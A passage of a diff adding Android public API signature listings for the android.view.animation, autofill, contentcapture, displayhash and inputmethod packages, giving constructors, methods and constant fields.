+}
+
+package android.view.animation {
+
+  public class AccelerateDecelerateInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public AccelerateDecelerateInterpolator();
+    ctor public AccelerateDecelerateInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class AccelerateInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public AccelerateInterpolator();
+    ctor public AccelerateInterpolator(float);
+    ctor public AccelerateInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class AlphaAnimation extends android.view.animation.Animation {
+    ctor public AlphaAnimation(android.content.Context, android.util.AttributeSet);
+    ctor public AlphaAnimation(float, float);
+  }
+
+  public abstract class Animation implements java.lang.Cloneable {
+    ctor public Animation();
+    ctor public Animation(android.content.Context, android.util.AttributeSet);
+    method protected void applyTransformation(float, android.view.animation.Transformation);
+    method public void cancel();
+    method protected android.view.animation.Animation clone() throws java.lang.CloneNotSupportedException;
+    method public long computeDurationHint();
+    method protected void ensureInterpolator();
+    method @Deprecated @ColorInt public int getBackgroundColor();
+    method @Deprecated public boolean getDetachWallpaper();
+    method public long getDuration();
+    method public boolean getFillAfter();
+    method public boolean getFillBefore();
+    method public android.view.animation.Interpolator getInterpolator();
+    method public int getRepeatCount();
+    method public int getRepeatMode();
+    method protected float getScaleFactor();
+    method public long getStartOffset();
+    method public long getStartTime();
+    method public boolean getTransformation(long, android.view.animation.Transformation);
+    method public boolean getTransformation(long, android.view.animation.Transformation, float);
+    method public int getZAdjustment();
+    method public boolean hasEnded();
+    method public boolean hasStarted();
+    method public void initialize(int, int, int, int);
+    method public boolean isFillEnabled();
+    method public boolean isInitialized();
+    method public void reset();
+    method protected float resolveSize(int, float, int, int);
+    method public void restrictDuration(long);
+    method public void scaleCurrentDuration(float);
+    method public void setAnimationListener(android.view.animation.Animation.AnimationListener);
+    method @Deprecated public void setBackgroundColor(@ColorInt int);
+    method @Deprecated public void setDetachWallpaper(boolean);
+    method public void setDuration(long);
+    method public void setFillAfter(boolean);
+    method public void setFillBefore(boolean);
+    method public void setFillEnabled(boolean);
+    method public void setInterpolator(android.content.Context, @AnimRes @InterpolatorRes int);
+    method public void setInterpolator(android.view.animation.Interpolator);
+    method public void setRepeatCount(int);
+    method public void setRepeatMode(int);
+    method public void setStartOffset(long);
+    method public void setStartTime(long);
+    method public void setZAdjustment(int);
+    method public void start();
+    method public void startNow();
+    method public boolean willChangeBounds();
+    method public boolean willChangeTransformationMatrix();
+    field public static final int ABSOLUTE = 0; // 0x0
+    field public static final int INFINITE = -1; // 0xffffffff
+    field public static final int RELATIVE_TO_PARENT = 2; // 0x2
+    field public static final int RELATIVE_TO_SELF = 1; // 0x1
+    field public static final int RESTART = 1; // 0x1
+    field public static final int REVERSE = 2; // 0x2
+    field public static final int START_ON_FIRST_FRAME = -1; // 0xffffffff
+    field public static final int ZORDER_BOTTOM = -1; // 0xffffffff
+    field public static final int ZORDER_NORMAL = 0; // 0x0
+    field public static final int ZORDER_TOP = 1; // 0x1
+  }
+
+  public static interface Animation.AnimationListener {
+    method public void onAnimationEnd(android.view.animation.Animation);
+    method public void onAnimationRepeat(android.view.animation.Animation);
+    method public void onAnimationStart(android.view.animation.Animation);
+  }
+
+  protected static class Animation.Description {
+    ctor protected Animation.Description();
+    field public int type;
+    field public float value;
+  }
+
+  public class AnimationSet extends android.view.animation.Animation {
+    ctor public AnimationSet(android.content.Context, android.util.AttributeSet);
+    ctor public AnimationSet(boolean);
+    method public void addAnimation(android.view.animation.Animation);
+    method protected android.view.animation.AnimationSet clone() throws java.lang.CloneNotSupportedException;
+    method public java.util.List<android.view.animation.Animation> getAnimations();
+  }
+
+  public class AnimationUtils {
+    ctor public AnimationUtils();
+    method public static long currentAnimationTimeMillis();
+    method public static android.view.animation.Animation loadAnimation(android.content.Context, @AnimRes int) throws android.content.res.Resources.NotFoundException;
+    method public static android.view.animation.Interpolator loadInterpolator(android.content.Context, @AnimRes @InterpolatorRes int) throws android.content.res.Resources.NotFoundException;
+    method public static android.view.animation.LayoutAnimationController loadLayoutAnimation(android.content.Context, @AnimRes int) throws android.content.res.Resources.NotFoundException;
+    method public static android.view.animation.Animation makeInAnimation(android.content.Context, boolean);
+    method public static android.view.animation.Animation makeInChildBottomAnimation(android.content.Context);
+    method public static android.view.animation.Animation makeOutAnimation(android.content.Context, boolean);
+  }
+
+  public class AnticipateInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public AnticipateInterpolator();
+    ctor public AnticipateInterpolator(float);
+    ctor public AnticipateInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class AnticipateOvershootInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public AnticipateOvershootInterpolator();
+    ctor public AnticipateOvershootInterpolator(float);
+    ctor public AnticipateOvershootInterpolator(float, float);
+    ctor public AnticipateOvershootInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public abstract class BaseInterpolator implements android.view.animation.Interpolator {
+    ctor public BaseInterpolator();
+  }
+
+  public class BounceInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public BounceInterpolator();
+    ctor public BounceInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class CycleInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public CycleInterpolator(float);
+    ctor public CycleInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class DecelerateInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public DecelerateInterpolator();
+    ctor public DecelerateInterpolator(float);
+    ctor public DecelerateInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class GridLayoutAnimationController extends android.view.animation.LayoutAnimationController {
+    ctor public GridLayoutAnimationController(android.content.Context, android.util.AttributeSet);
+    ctor public GridLayoutAnimationController(android.view.animation.Animation);
+    ctor public GridLayoutAnimationController(android.view.animation.Animation, float, float);
+    method public float getColumnDelay();
+    method public int getDirection();
+    method public int getDirectionPriority();
+    method public float getRowDelay();
+    method public void setColumnDelay(float);
+    method public void setDirection(int);
+    method public void setDirectionPriority(int);
+    method public void setRowDelay(float);
+    field public static final int DIRECTION_BOTTOM_TO_TOP = 2; // 0x2
+    field public static final int DIRECTION_HORIZONTAL_MASK = 1; // 0x1
+    field public static final int DIRECTION_LEFT_TO_RIGHT = 0; // 0x0
+    field public static final int DIRECTION_RIGHT_TO_LEFT = 1; // 0x1
+    field public static final int DIRECTION_TOP_TO_BOTTOM = 0; // 0x0
+    field public static final int DIRECTION_VERTICAL_MASK = 2; // 0x2
+    field public static final int PRIORITY_COLUMN = 1; // 0x1
+    field public static final int PRIORITY_NONE = 0; // 0x0
+    field public static final int PRIORITY_ROW = 2; // 0x2
+  }
+
+  public static class GridLayoutAnimationController.AnimationParameters extends android.view.animation.LayoutAnimationController.AnimationParameters {
+    ctor public GridLayoutAnimationController.AnimationParameters();
+    field public int column;
+    field public int columnsCount;
+    field public int row;
+    field public int rowsCount;
+  }
+
+  public interface Interpolator extends android.animation.TimeInterpolator {
+  }
+
+  public class LayoutAnimationController {
+    ctor public LayoutAnimationController(android.content.Context, android.util.AttributeSet);
+    ctor public LayoutAnimationController(android.view.animation.Animation);
+    ctor public LayoutAnimationController(android.view.animation.Animation, float);
+    method public android.view.animation.Animation getAnimation();
+    method public final android.view.animation.Animation getAnimationForView(android.view.View);
+    method public float getDelay();
+    method protected long getDelayForView(android.view.View);
+    method public android.view.animation.Interpolator getInterpolator();
+    method public int getOrder();
+    method protected int getTransformedIndex(android.view.animation.LayoutAnimationController.AnimationParameters);
+    method public boolean isDone();
+    method public void setAnimation(android.content.Context, @AnimRes int);
+    method public void setAnimation(android.view.animation.Animation);
+    method public void setDelay(float);
+    method public void setInterpolator(android.content.Context, @InterpolatorRes int);
+    method public void setInterpolator(android.view.animation.Interpolator);
+    method public void setOrder(int);
+    method public void start();
+    method public boolean willOverlap();
+    field public static final int ORDER_NORMAL = 0; // 0x0
+    field public static final int ORDER_RANDOM = 2; // 0x2
+    field public static final int ORDER_REVERSE = 1; // 0x1
+    field protected android.view.animation.Animation mAnimation;
+    field protected android.view.animation.Interpolator mInterpolator;
+    field protected java.util.Random mRandomizer;
+  }
+
+  public static class LayoutAnimationController.AnimationParameters {
+    ctor public LayoutAnimationController.AnimationParameters();
+    field public int count;
+    field public int index;
+  }
+
+  public class LinearInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public LinearInterpolator();
+    ctor public LinearInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class OvershootInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public OvershootInterpolator();
+    ctor public OvershootInterpolator(float);
+    ctor public OvershootInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class PathInterpolator extends android.view.animation.BaseInterpolator {
+    ctor public PathInterpolator(android.graphics.Path);
+    ctor public PathInterpolator(float, float);
+    ctor public PathInterpolator(float, float, float, float);
+    ctor public PathInterpolator(android.content.Context, android.util.AttributeSet);
+    method public float getInterpolation(float);
+  }
+
+  public class RotateAnimation extends android.view.animation.Animation {
+    ctor public RotateAnimation(android.content.Context, android.util.AttributeSet);
+    ctor public RotateAnimation(float, float);
+    ctor public RotateAnimation(float, float, float, float);
+    ctor public RotateAnimation(float, float, int, float, int, float);
+  }
+
+  public class ScaleAnimation extends android.view.animation.Animation {
+    ctor public ScaleAnimation(android.content.Context, android.util.AttributeSet);
+    ctor public ScaleAnimation(float, float, float, float);
+    ctor public ScaleAnimation(float, float, float, float, float, float);
+    ctor public ScaleAnimation(float, float, float, float, int, float, int, float);
+  }
+
+  public class Transformation {
+    ctor public Transformation();
+    method public void clear();
+    method public void compose(android.view.animation.Transformation);
+    method public float getAlpha();
+    method public android.graphics.Matrix getMatrix();
+    method public int getTransformationType();
+    method public void set(android.view.animation.Transformation);
+    method public void setAlpha(@FloatRange(from=0.0, to=1.0) float);
+    method public void setTransformationType(int);
+    method public String toShortString();
+    field public static final int TYPE_ALPHA = 1; // 0x1
+    field public static final int TYPE_BOTH = 3; // 0x3
+    field public static final int TYPE_IDENTITY = 0; // 0x0
+    field public static final int TYPE_MATRIX = 2; // 0x2
+    field protected float mAlpha;
+    field protected android.graphics.Matrix mMatrix;
+    field protected int mTransformationType;
+  }
+
+  public class TranslateAnimation extends android.view.animation.Animation {
+    ctor public TranslateAnimation(android.content.Context, android.util.AttributeSet);
+    ctor public TranslateAnimation(float, float, float, float);
+    ctor public TranslateAnimation(int, float, int, float, int, float, int, float);
+  }
+
+}
+
+package android.view.autofill {
+
+  public final class AutofillId implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.autofill.AutofillId> CREATOR;
+  }
+
+  public final class AutofillManager {
+    method public void cancel();
+    method public void commit();
+    method public void disableAutofillServices();
+    method @Nullable public android.content.ComponentName getAutofillServiceComponentName();
+    method @NonNull public java.util.List<java.lang.String> getAvailableFieldClassificationAlgorithms();
+    method @Nullable public String getDefaultFieldClassificationAlgorithm();
+    method @Nullable public android.view.autofill.AutofillId getNextAutofillId();
+    method @Nullable public android.service.autofill.UserData getUserData();
+    method @Nullable public String getUserDataId();
+    method public boolean hasEnabledAutofillServices();
+    method public boolean isAutofillSupported();
+    method public boolean isEnabled();
+    method public boolean isFieldClassificationEnabled();
+    method public void notifyValueChanged(android.view.View);
+    method public void notifyValueChanged(android.view.View, int, android.view.autofill.AutofillValue);
+    method public void notifyViewClicked(@NonNull android.view.View);
+    method public void notifyViewClicked(@NonNull android.view.View, int);
+    method public void notifyViewEntered(@NonNull android.view.View);
+    method public void notifyViewEntered(@NonNull android.view.View, int, @NonNull android.graphics.Rect);
+    method public void notifyViewExited(@NonNull android.view.View);
+    method public void notifyViewExited(@NonNull android.view.View, int);
+    method public void notifyViewVisibilityChanged(@NonNull android.view.View, boolean);
+    method public void notifyViewVisibilityChanged(@NonNull android.view.View, int, boolean);
+    method public void registerCallback(@Nullable android.view.autofill.AutofillManager.AutofillCallback);
+    method public void requestAutofill(@NonNull android.view.View);
+    method public void requestAutofill(@NonNull android.view.View, int, @NonNull android.graphics.Rect);
+    method public void setUserData(@Nullable android.service.autofill.UserData);
+    method public void unregisterCallback(@Nullable android.view.autofill.AutofillManager.AutofillCallback);
+    field public static final String EXTRA_ASSIST_STRUCTURE = "android.view.autofill.extra.ASSIST_STRUCTURE";
+    field public static final String EXTRA_AUTHENTICATION_RESULT = "android.view.autofill.extra.AUTHENTICATION_RESULT";
+    field public static final String EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET = "android.view.autofill.extra.AUTHENTICATION_RESULT_EPHEMERAL_DATASET";
+    field public static final String EXTRA_CLIENT_STATE = "android.view.autofill.extra.CLIENT_STATE";
+    field public static final String EXTRA_INLINE_SUGGESTIONS_REQUEST = "android.view.autofill.extra.INLINE_SUGGESTIONS_REQUEST";
+  }
+
+  public abstract static class AutofillManager.AutofillCallback {
+    ctor public AutofillManager.AutofillCallback();
+    method public void onAutofillEvent(@NonNull android.view.View, int);
+    method public void onAutofillEvent(@NonNull android.view.View, int, int);
+    field public static final int EVENT_INPUT_HIDDEN = 2; // 0x2
+    field public static final int EVENT_INPUT_SHOWN = 1; // 0x1
+    field public static final int EVENT_INPUT_UNAVAILABLE = 3; // 0x3
+  }
+
+  public final class AutofillValue implements android.os.Parcelable {
+    method public int describeContents();
+    method public static android.view.autofill.AutofillValue forDate(long);
+    method public static android.view.autofill.AutofillValue forList(int);
+    method public static android.view.autofill.AutofillValue forText(@Nullable CharSequence);
+    method public static android.view.autofill.AutofillValue forToggle(boolean);
+    method public long getDateValue();
+    method public int getListValue();
+    method @NonNull public CharSequence getTextValue();
+    method public boolean getToggleValue();
+    method public boolean isDate();
+    method public boolean isList();
+    method public boolean isText();
+    method public boolean isToggle();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.autofill.AutofillValue> CREATOR;
+  }
+
+}
+
+package android.view.contentcapture {
+
+  public final class ContentCaptureCondition implements android.os.Parcelable {
+    ctor public ContentCaptureCondition(@NonNull android.content.LocusId, int);
+    method public int describeContents();
+    method public int getFlags();
+    method @NonNull public android.content.LocusId getLocusId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.contentcapture.ContentCaptureCondition> CREATOR;
+    field public static final int FLAG_IS_REGEX = 2; // 0x2
+  }
+
+  public final class ContentCaptureContext implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public static android.view.contentcapture.ContentCaptureContext forLocusId(@NonNull String);
+    method @Nullable public android.os.Bundle getExtras();
+    method @Nullable public android.content.LocusId getLocusId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.contentcapture.ContentCaptureContext> CREATOR;
+  }
+
+  public static final class ContentCaptureContext.Builder {
+    ctor public ContentCaptureContext.Builder(@NonNull android.content.LocusId);
+    method @NonNull public android.view.contentcapture.ContentCaptureContext build();
+    method @NonNull public android.view.contentcapture.ContentCaptureContext.Builder setExtras(@NonNull android.os.Bundle);
+  }
+
+  public final class ContentCaptureManager {
+    method @Nullable public java.util.Set<android.view.contentcapture.ContentCaptureCondition> getContentCaptureConditions();
+    method @Nullable public android.content.ComponentName getServiceComponentName();
+    method public boolean isContentCaptureEnabled();
+    method public void removeData(@NonNull android.view.contentcapture.DataRemovalRequest);
+    method public void setContentCaptureEnabled(boolean);
+    method public void shareData(@NonNull android.view.contentcapture.DataShareRequest, @NonNull java.util.concurrent.Executor, @NonNull android.view.contentcapture.DataShareWriteAdapter);
+    field public static final int DATA_SHARE_ERROR_CONCURRENT_REQUEST = 2; // 0x2
+    field public static final int DATA_SHARE_ERROR_TIMEOUT_INTERRUPTED = 3; // 0x3
+    field public static final int DATA_SHARE_ERROR_UNKNOWN = 1; // 0x1
+  }
+
+  public abstract class ContentCaptureSession implements java.lang.AutoCloseable {
+    method public void close();
+    method @NonNull public final android.view.contentcapture.ContentCaptureSession createContentCaptureSession(@NonNull android.view.contentcapture.ContentCaptureContext);
+    method public final void destroy();
+    method @Nullable public final android.view.contentcapture.ContentCaptureContext getContentCaptureContext();
+    method @NonNull public final android.view.contentcapture.ContentCaptureSessionId getContentCaptureSessionId();
+    method @NonNull public android.view.autofill.AutofillId newAutofillId(@NonNull android.view.autofill.AutofillId, long);
+    method @NonNull public final android.view.ViewStructure newViewStructure(@NonNull android.view.View);
+    method @NonNull public final android.view.ViewStructure newVirtualViewStructure(@NonNull android.view.autofill.AutofillId, long);
+    method public final void notifySessionPaused();
+    method public final void notifySessionResumed();
+    method public final void notifyViewAppeared(@NonNull android.view.ViewStructure);
+    method public final void notifyViewDisappeared(@NonNull android.view.autofill.AutofillId);
+    method public final void notifyViewInsetsChanged(@NonNull android.graphics.Insets);
+    method public final void notifyViewTextChanged(@NonNull android.view.autofill.AutofillId, @Nullable CharSequence);
+    method public final void notifyViewsDisappeared(@NonNull android.view.autofill.AutofillId, @NonNull long[]);
+    method public final void setContentCaptureContext(@Nullable android.view.contentcapture.ContentCaptureContext);
+  }
+
+  public final class ContentCaptureSessionId implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.contentcapture.ContentCaptureSessionId> CREATOR;
+  }
+
+  public final class DataRemovalRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<android.view.contentcapture.DataRemovalRequest.LocusIdRequest> getLocusIdRequests();
+    method @NonNull public String getPackageName();
+    method public boolean isForEverything();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.contentcapture.DataRemovalRequest> CREATOR;
+    field public static final int FLAG_IS_PREFIX = 1; // 0x1
+  }
+
+  public static final class DataRemovalRequest.Builder {
+    ctor public DataRemovalRequest.Builder();
+    method @NonNull public android.view.contentcapture.DataRemovalRequest.Builder addLocusId(@NonNull android.content.LocusId, int);
+    method @NonNull public android.view.contentcapture.DataRemovalRequest build();
+    method @NonNull public android.view.contentcapture.DataRemovalRequest.Builder forEverything();
+  }
+
+  public final class DataRemovalRequest.LocusIdRequest {
+    method @NonNull public int getFlags();
+    method @NonNull public android.content.LocusId getLocusId();
+  }
+
+  public final class DataShareRequest implements android.os.Parcelable {
+    ctor public DataShareRequest(@Nullable android.content.LocusId, @NonNull String);
+    method public int describeContents();
+    method @Nullable public android.content.LocusId getLocusId();
+    method @NonNull public String getMimeType();
+    method @NonNull public String getPackageName();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.contentcapture.DataShareRequest> CREATOR;
+  }
+
+  public interface DataShareWriteAdapter {
+    method public default void onError(int);
+    method public void onRejected();
+    method public void onWrite(@NonNull android.os.ParcelFileDescriptor);
+  }
+
+}
+
+package android.view.displayhash {
+
+  public final class DisplayHash implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.displayhash.DisplayHash> CREATOR;
+  }
+
+  public final class DisplayHashManager {
+    method @NonNull public java.util.Set<java.lang.String> getSupportedHashAlgorithms();
+    method @Nullable public android.view.displayhash.VerifiedDisplayHash verifyDisplayHash(@NonNull android.view.displayhash.DisplayHash);
+  }
+
+  public interface DisplayHashResultCallback {
+    method public void onDisplayHashError(int);
+    method public void onDisplayHashResult(@NonNull android.view.displayhash.DisplayHash);
+    field public static final int DISPLAY_HASH_ERROR_INVALID_BOUNDS = -2; // 0xfffffffe
+    field public static final int DISPLAY_HASH_ERROR_INVALID_HASH_ALGORITHM = -5; // 0xfffffffb
+    field public static final int DISPLAY_HASH_ERROR_MISSING_WINDOW = -3; // 0xfffffffd
+    field public static final int DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN = -4; // 0xfffffffc
+    field public static final int DISPLAY_HASH_ERROR_TOO_MANY_REQUESTS = -6; // 0xfffffffa
+    field public static final int DISPLAY_HASH_ERROR_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public final class VerifiedDisplayHash implements android.os.Parcelable {
+    ctor public VerifiedDisplayHash(long, @NonNull android.graphics.Rect, @NonNull String, @NonNull byte[]);
+    method public int describeContents();
+    method @NonNull public android.graphics.Rect getBoundsInWindow();
+    method @NonNull public String getHashAlgorithm();
+    method @NonNull public byte[] getImageHash();
+    method public long getTimeMillis();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.displayhash.VerifiedDisplayHash> CREATOR;
+  }
+
+}
+
+package android.view.inputmethod {
+
+  public class BaseInputConnection implements android.view.inputmethod.InputConnection {
+    ctor public BaseInputConnection(android.view.View, boolean);
+    method public boolean beginBatchEdit();
+    method public boolean clearMetaKeyStates(int);
+    method @CallSuper public void closeConnection();
+    method public boolean commitCompletion(android.view.inputmethod.CompletionInfo);
+    method public boolean commitContent(android.view.inputmethod.InputContentInfo, int, android.os.Bundle);
+    method public boolean commitCorrection(android.view.inputmethod.CorrectionInfo);
+    method public boolean commitText(CharSequence, int);
+    method public boolean deleteSurroundingText(int, int);
+    method public boolean deleteSurroundingTextInCodePoints(int, int);
+    method public boolean endBatchEdit();
+    method public boolean finishComposingText();
+    method public static int getComposingSpanEnd(android.text.Spannable);
+    method public static int getComposingSpanStart(android.text.Spannable);
+    method public int getCursorCapsMode(int);
+    method public android.text.Editable getEditable();
+    method public android.view.inputmethod.ExtractedText getExtractedText(android.view.inputmethod.ExtractedTextRequest, int);
+    method public android.os.Handler getHandler();
+    method public CharSequence getSelectedText(int);
+    method @Nullable public CharSequence getTextAfterCursor(@IntRange(from=0) int, int);
+    method @Nullable public CharSequence getTextBeforeCursor(@IntRange(from=0) int, int);
+    method public boolean performContextMenuAction(int);
+    method public boolean performEditorAction(int);
+    method public boolean performPrivateCommand(String, android.os.Bundle);
+    method public static final void removeComposingSpans(android.text.Spannable);
+    method public boolean reportFullscreenMode(boolean);
+    method public boolean requestCursorUpdates(int);
+    method public boolean sendKeyEvent(android.view.KeyEvent);
+    method public boolean setComposingRegion(int, int);
+    method public static void setComposingSpans(android.text.Spannable);
+    method public boolean setComposingText(CharSequence, int);
+    method public boolean setSelection(int, int);
+  }
+
+  public final class CompletionInfo implements android.os.Parcelable {
+    ctor public CompletionInfo(long, int, CharSequence);
+    ctor public CompletionInfo(long, int, CharSequence, CharSequence);
+    method public int describeContents();
+    method public long getId();
+    method public CharSequence getLabel();
+    method public int getPosition();
+    method public CharSequence getText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.CompletionInfo> CREATOR;
+  }
+
+  public final class CorrectionInfo implements android.os.Parcelable {
+    ctor public CorrectionInfo(int, CharSequence, CharSequence);
+    method public int describeContents();
+    method public CharSequence getNewText();
+    method public int getOffset();
+    method public CharSequence getOldText();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.CorrectionInfo> CREATOR;
+  }
+
+  public final class CursorAnchorInfo implements android.os.Parcelable {
+    ctor public CursorAnchorInfo(android.os.Parcel);
+    method public int describeContents();
+    method public android.graphics.RectF getCharacterBounds(int);
+    method public int getCharacterBoundsFlags(int);
+    method public CharSequence getComposingText();
+    method public int getComposingTextStart();
+    method public float getInsertionMarkerBaseline();
+    method public float getInsertionMarkerBottom();
+    method public int getInsertionMarkerFlags();
+    method public float getInsertionMarkerHorizontal();
+    method public float getInsertionMarkerTop();
+    method public android.graphics.Matrix getMatrix();
+    method public int getSelectionEnd();
+    method public int getSelectionStart();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.CursorAnchorInfo> CREATOR;
+    field public static final int FLAG_HAS_INVISIBLE_REGION = 2; // 0x2
+    field public static final int FLAG_HAS_VISIBLE_REGION = 1; // 0x1
+    field public static final int FLAG_IS_RTL = 4; // 0x4
+  }
+
+  public static final class CursorAnchorInfo.Builder {
+    ctor public CursorAnchorInfo.Builder();
+    method public android.view.inputmethod.CursorAnchorInfo.Builder addCharacterBounds(int, float, float, float, float, int);
+    method public android.view.inputmethod.CursorAnchorInfo build();
+    method public void reset();
+    method public android.view.inputmethod.CursorAnchorInfo.Builder setComposingText(int, CharSequence);
+    method public android.view.inputmethod.CursorAnchorInfo.Builder setInsertionMarkerLocation(float, float, float, float, int);
+    method public android.view.inputmethod.CursorAnchorInfo.Builder setMatrix(android.graphics.Matrix);
+    method public android.view.inputmethod.CursorAnchorInfo.Builder setSelectionRange(int, int);
+  }
+
+  public class EditorInfo implements android.text.InputType android.os.Parcelable {
+    ctor public EditorInfo();
+    method public int describeContents();
+    method public void dump(android.util.Printer, String);
+    method @Nullable public CharSequence getInitialSelectedText(int);
+    method @Nullable public android.view.inputmethod.SurroundingText getInitialSurroundingText(@IntRange(from=0) int, @IntRange(from=0) int, int);
+    method @Nullable public CharSequence getInitialTextAfterCursor(@IntRange(from=0) int, int);
+    method @Nullable public CharSequence getInitialTextBeforeCursor(@IntRange(from=0) int, int);
+    method public final void makeCompatible(int);
+    method public void setInitialSurroundingSubText(@NonNull CharSequence, int);
+    method public void setInitialSurroundingText(@NonNull CharSequence);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.EditorInfo> CREATOR;
+    field public static final int IME_ACTION_DONE = 6; // 0x6
+    field public static final int IME_ACTION_GO = 2; // 0x2
+    field public static final int IME_ACTION_NEXT = 5; // 0x5
+    field public static final int IME_ACTION_NONE = 1; // 0x1
+    field public static final int IME_ACTION_PREVIOUS = 7; // 0x7
+    field public static final int IME_ACTION_SEARCH = 3; // 0x3
+    field public static final int IME_ACTION_SEND = 4; // 0x4
+    field public static final int IME_ACTION_UNSPECIFIED = 0; // 0x0
+    field public static final int IME_FLAG_FORCE_ASCII = -2147483648; // 0x80000000
+    field public static final int IME_FLAG_NAVIGATE_NEXT = 134217728; // 0x8000000
+    field public static final int IME_FLAG_NAVIGATE_PREVIOUS = 67108864; // 0x4000000
+    field public static final int IME_FLAG_NO_ACCESSORY_ACTION = 536870912; // 0x20000000
+    field public static final int IME_FLAG_NO_ENTER_ACTION = 1073741824; // 0x40000000
+    field public static final int IME_FLAG_NO_EXTRACT_UI = 268435456; // 0x10000000
+    field public static final int IME_FLAG_NO_FULLSCREEN = 33554432; // 0x2000000
+    field public static final int IME_FLAG_NO_PERSONALIZED_LEARNING = 16777216; // 0x1000000
+    field public static final int IME_MASK_ACTION = 255; // 0xff
+    field public static final int IME_NULL = 0; // 0x0
+    field public int actionId;
+    field public CharSequence actionLabel;
+    field @Nullable public String[] contentMimeTypes;
+    field public android.os.Bundle extras;
+    field public int fieldId;
+    field public String fieldName;
+    field @Nullable public android.os.LocaleList hintLocales;
+    field public CharSequence hintText;
+    field public int imeOptions;
+    field public int initialCapsMode;
+    field public int initialSelEnd;
+    field public int initialSelStart;
+    field public int inputType;
+    field public CharSequence label;
+    field public String packageName;
+    field public String privateImeOptions;
+  }
+
+  public class ExtractedText implements android.os.Parcelable {
+    ctor public ExtractedText();
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.ExtractedText> CREATOR;
+    field public static final int FLAG_SELECTING = 2; // 0x2
+    field public static final int FLAG_SINGLE_LINE = 1; // 0x1
+    field public int flags;
+    field public CharSequence hint;
+    field public int partialEndOffset;
+    field public int partialStartOffset;
+    field public int selectionEnd;
+    field public int selectionStart;
+    field public int startOffset;
+    field public CharSequence text;
+  }
+
+  public class ExtractedTextRequest implements android.os.Parcelable {
+    ctor public ExtractedTextRequest();
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.ExtractedTextRequest> CREATOR;
+    field public int flags;
+    field public int hintMaxChars;
+    field public int hintMaxLines;
+    field public int token;
+  }
+
+  public final class InlineSuggestion implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.view.inputmethod.InlineSuggestionInfo getInfo();
+    method public void inflate(@NonNull android.content.Context, @NonNull android.util.Size, @NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<android.widget.inline.InlineContentView>);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InlineSuggestion> CREATOR;
+  }
+
+  public final class InlineSuggestionInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String[] getAutofillHints();
+    method @NonNull public android.widget.inline.InlinePresentationSpec getInlinePresentationSpec();
+    method @NonNull public String getSource();
+    method @NonNull public String getType();
+    method public boolean isPinned();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.inputmethod.InlineSuggestionInfo> CREATOR;
+    field public static final String SOURCE_AUTOFILL = "android:autofill";
+    field public static final String SOURCE_PLATFORM = "android:platform";
+    field public static final String TYPE_ACTION = "android:autofill:action";
+    field public static final String TYPE_SUGGESTION = "android:autofill:suggestion";
+  }
+
+  public final class InlineSuggestionsRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.os.Bundle getExtras();
